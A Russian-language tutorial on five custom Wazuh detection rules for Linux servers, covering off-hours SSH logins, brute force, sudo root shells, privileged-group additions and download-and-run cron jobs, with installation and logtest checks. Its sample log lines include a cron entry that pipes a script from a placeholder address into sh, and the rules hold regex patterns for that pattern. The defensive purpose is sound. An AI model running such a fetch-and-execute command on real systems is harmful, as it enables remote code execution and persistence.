Wazuh: пять правил выявления атак на Linux-сервере

Wazuh из коробки видит много событий, но не всё, что важно именно вам: ночной вход под обычной учётной записью, добавление пользователя в группу sudo, задание cron, которое скачивает и запускает скрипт. Пользовательские правила превращают такие события в оповещения с понятным уровнем. Ниже пять правил на основе стандартных журналов Linux с проверкой через wazuh-logtest, порядок установки и рекомендации по настройке.

Статья опирается на логику направления «Мониторинг кибербезопасности» из методики зрелости Группы Сбер (источник); это методика для крупных компаний, мы используем её как ориентир и пересказываем своими словами. Установка и основы эксплуатации: Wazuh в Docker; зачем нужен SIEM: SOC и SIEM. Правила проверены на менеджере Wazuh 4.14.8 в одноразовом контейнере без доступа к рабочим данным.

Что должно получиться

Критерии сформулированы нами по мотивам методики, это ориентир, а не оценка соответствия.

Какие правила и что они ловят

Идентификаторы 100510–100514 выбраны вне диапазонов, уже занятых в вашей установке: перед использованием проверьте свободные ID командой поиска по каталогу правил (ниже).

Файл правил

Положите содержимое в файл svictor_rules.xml в каталоге пользовательских правил менеджера (/var/ossec/etc/rules/; в Docker это каталог, подключённый как том).

<group name="local,svictor,">

  <!-- 1. Успешный вход по SSH в нерабочее время (время считается по часам менеджера Wazuh) -->
  <rule id="100510" level="8">
    <if_sid>5715</if_sid>
    <time>10 pm - 6 am</time>
    <description>SSH: успешный вход в нерабочее время</description>
    <group>authentication_success,</group>
  </rule>

  <!-- 2. Всплеск неудачных входов SSH с одного адреса: 6 за 60 секунд -->
  <rule id="100511" level="10" frequency="6" timeframe="60">
    <if_matched_sid>5760</if_matched_sid>
    <same_source_ip />
    <description>SSH: подбор пароля, 6 неудач за минуту с одного адреса</description>
    <group>authentication_failures,</group>
  </rule>

  <!-- 3. sudo, открывающий командную оболочку root -->
  <rule id="100512" level="9">
    <if_sid>5402,5403</if_sid>
    <regex type="pcre2">COMMAND=/(usr/)?bin/(ba|da|z)?sh$</regex>
    <description>sudo: запущена оболочка с правами root</description>
    <group>privilege_escalation,</group>
  </rule>

  <!-- 4. Добавление пользователя в привилегированную группу -->
  <rule id="100513" level="10">
    <program_name>^usermod</program_name>
    <regex type="pcre2">^add '?[^ ']+'? to (shadow )?group '?(sudo|wheel|admin|adm|docker|root)'?</regex>
    <description>Пользователь добавлен в привилегированную группу</description>
    <group>privilege_escalation,adduser,</group>
  </rule>

  <!-- 5. Задание cron, скачивающее и сразу выполняющее скрипт -->
  <rule id="100514" level="12">
    <program_name>^CRON</program_name>
    <regex type="pcre2">CMD \(.*(curl|wget)[^|]*\|\s*(ba|da|z)?sh</regex>
    <description>cron: загрузка и немедленное выполнение скрипта</description>
    <group>persistence,</group>
  </rule>

</group>

Установка

1. Проверьте свободные ID. На менеджере:

   grep -rhoE 'rule id="[0-9]+"' /var/ossec/etc/rules/ | sort -u

   Если 100510–100514 заняты, замените номера в файле.

2. Скопируйте файл в каталог правил и назначьте права владельцу службы (в стандартной установке wazuh:wazuh).
3. Проверьте синтаксис до перезапуска: /var/ossec/bin/wazuh-analysisd -t. Ожидается отсутствие сообщений об ошибках для вашего файла. Внимательно читайте предупреждения о несуществующих родительских правилах: Wazuh не считает их ошибкой, а просто игнорирует правило.
4. Перезапустите менеджер (/var/ossec/bin/wazuh-control restart или перезапуск контейнера) в согласованное окно.
5. Проверьте на тестовых строках через wazuh-logtest (раздел ниже), затем смоделируйте событие на тестовом сервере.

Проверка logtest

Тестовые строки журналов (они же лежат в файле test_lines.txt проекта):

Oct 12 03:14:15 web01 sshd[1234]: Accepted password for deploy from 203.0.113.50 port 51234 ssh2
Oct 12 14:16:00 web01 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash
Oct 12 14:16:10 web01 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/apt update
Oct 12 14:18:00 web01 usermod[2346]: add 'deploy' to group 'sudo'
Oct 12 14:18:30 web01 usermod[2347]: add 'deploy' to group 'video'
Oct 12 14:20:00 web01 CRON[2400]: (root) CMD (curl -s http://198.51.100.9/x.sh | sh)
Oct 12 14:20:30 web01 CRON[2401]: (root) CMD (/usr/local/bin/backup.sh)

Запуск: /var/ossec/bin/wazuh-logtest, вставьте строки по одной. Результат для этих строк:

Для правила 100511 нужно несколько событий в одном потоке: подайте на вход подряд семь строк неудачных входов с одного адреса (Failed password for root from 198.51.100.7 port 40022 ssh2 с разными номерами портов). Шесть первых срабатывают как встроенное 5760, на шестом событии за минуту срабатывает 100511 уровня 10.

Как работают правила и что настраивать

100510: вход в нерабочее время

Условие time сравнивается с временем обработки события на менеджере в его часовом поясе, а не с временем из строки журнала. Для оперативных оповещений это то, что нужно, но при обработке отложенных или повторно загруженных журналов правило сработает по текущему времени. Окно 10 pm - 6 am меняйте под режим вашей организации; выходные дни этим условием не задаются: для них нужна отдельная настройка или правило по полю дня недели. Ожидайте срабатываний от администраторов, работающих ночью: добавьте исключение по пользователю или адресу (правило-потомок с уровнем 0 по имени пользователя или списку адресов).

100511: подбор пароля

Правило использует частотное условие: frequency="6" timeframe="60" и same_source_ip. Для вашего трафика подберите пороги: слишком низкие дают ложные срабатывания от пользователей, забывших пароль, слишком высокие пропускают медленный подбор. В Wazuh уже есть правила подбора (например, 5763), это правило нужно как более чувствительный вариант для критичных серверов. Оповещение стоит связать с автоматической блокировкой адреса, но включайте блокировку осторожно: CrowdSec и Fail2ban.

100512: root-оболочка через sudo

Правило смотрит на команду: /bin/bash, /usr/bin/zsh и подобные. Администраторы тоже так работают, поэтому оно полезно как сигнал для разбора, а не как доказательство атаки. Для регулярных случаев добавьте исключения по пользователю. Рассмотрите запрет оболочек через sudo и запись сеансов: sudo и sudoers.

100513: добавление в привилегированную группу

Правило сопоставляет текст сообщения usermod: «add ИМЯ to group sudo» (также wheel, admin, adm, docker, root). Формат сообщения зависит от дистрибутива и версии утилит: проверьте, как выглядит строка на ваших серверах (journalctl -t usermod или файл /var/log/auth.log), и при необходимости скорректируйте регулярное выражение. Неожиданное срабатывание вне заявок на доступ — повод для расследования: управление доступом. Встроенное правило 5902 фиксирует создание нового пользователя.

100514: cron с загрузкой и запуском скрипта

Выражение ищет в команде cron цепочку curl или wget с конвейером на sh/bash. Это типичный способ закрепления нарушителя. Легитимные задания установки или обновления тоже бывают такими: исключите их точечно по команде. Правило видит только сообщения cron в журнале; добавьте контроль целостности каталогов /etc/cron* и /var/spool/cron средствами Wazuh (модуль контроля целостности), чтобы замечать и изменение самих файлов: документация Wazuh по syscheck.

Что делать при срабатывании

Как расширять набор

• Используйте шаблон: родитель (встроенное правило или условия по программе), условие, уровень, описание, группа. Добавляйте правило только после проверки в logtest на реальных строках ваших журналов.
• Для проверки каждого правила держите набор «положительных» и «отрицательных» строк, как в примере: правило должно срабатывать на плохом и молчать на нормальном.
• Не делайте все правила критичными: оповещения, которые никто не читает, хуже их отсутствия. Распределите уровни: 8–9 для разбора в рабочее время, 12 и выше для немедленной реакции.
• Связывайте правила с метриками и учётом инцидентов: метрики ИБ для руководства.

Диагностика

Где это в модели зрелости

Материал относится к направлению «Мониторинг кибербезопасности» (материалы направления, карта зрелости). Уровень 2 даёт централизованный сбор журналов и оповещения, уровень 3 добавляет описанные сценарии выявления и корреляцию событий; эти правила — основа такого набора.

Как проверить

1. Файл правил установлен, wazuh-analysisd -t проходит без ошибок и предупреждений по вашим правилам.
2. Для каждого правила в logtest есть положительная и отрицательная строки, результаты совпадают с ожидаемыми.
3. На тестовом сервере смоделированы события (добавление пользователя в группу, неудачные входы, cron-задание), оповещения пришли.
4. Для каждого оповещения определён исполнитель и порядок реагирования.

Источники

• Методика оценки уровня зрелости кибербезопасности компании, Группа Сбер: sberbank.ru.
• Документация Wazuh: пользовательские правила и синтаксис условий (if_sid, frequency, time, regex), wazuh-logtest: documentation.wazuh.com.